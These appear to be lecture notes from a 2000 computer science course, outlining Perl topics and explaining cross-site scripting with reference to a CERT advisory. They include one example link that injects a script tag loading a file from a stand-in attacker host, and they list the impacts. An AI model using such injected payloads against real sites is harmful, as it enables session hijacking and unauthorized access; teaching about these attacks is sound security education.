Cross Site Scripting

Tom Kelliher, CS 318

Feb. 4, 2000

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Assignment

From Last Time

Lists & subroutines in Perl.

Outline

1. Chapters 1--5.

2. MinMax in Perl.

3. Cross Site Scripting.

Coming Up

Packets.

Chapters 1--5

MinMax in Perl

Cross Site Scripting

Reference: http://www.cert.org/advisories/CA-2000-02.html

1. Background: Browsers can execute scripts.

2. The old, standard trojan: malicious code provided by one client for another client.

3. The new trojan: malicious code sent by a client for itself:

   <A HREF="www.goodguys.com/comment.cgi?mycomment=<SCRIPT 
      SRC='http://www.badguys.com/badfile'></SRC>">Link to neato stuff
      from goodguys here</A>
   

   This is what is meant by cross-site scripting.

4. Abuse of other tags, such as <FORM>.

5. Same source origin security model for scripting: pages sent by one source contain only scripts from that source.

   Violated.

6. Impact:
   1. SSL-encrypted connections may be exposed.

   2. Attacks may be persistent through poisoned cookies.

   3. Attacker may access restricted web sites from the attacked client.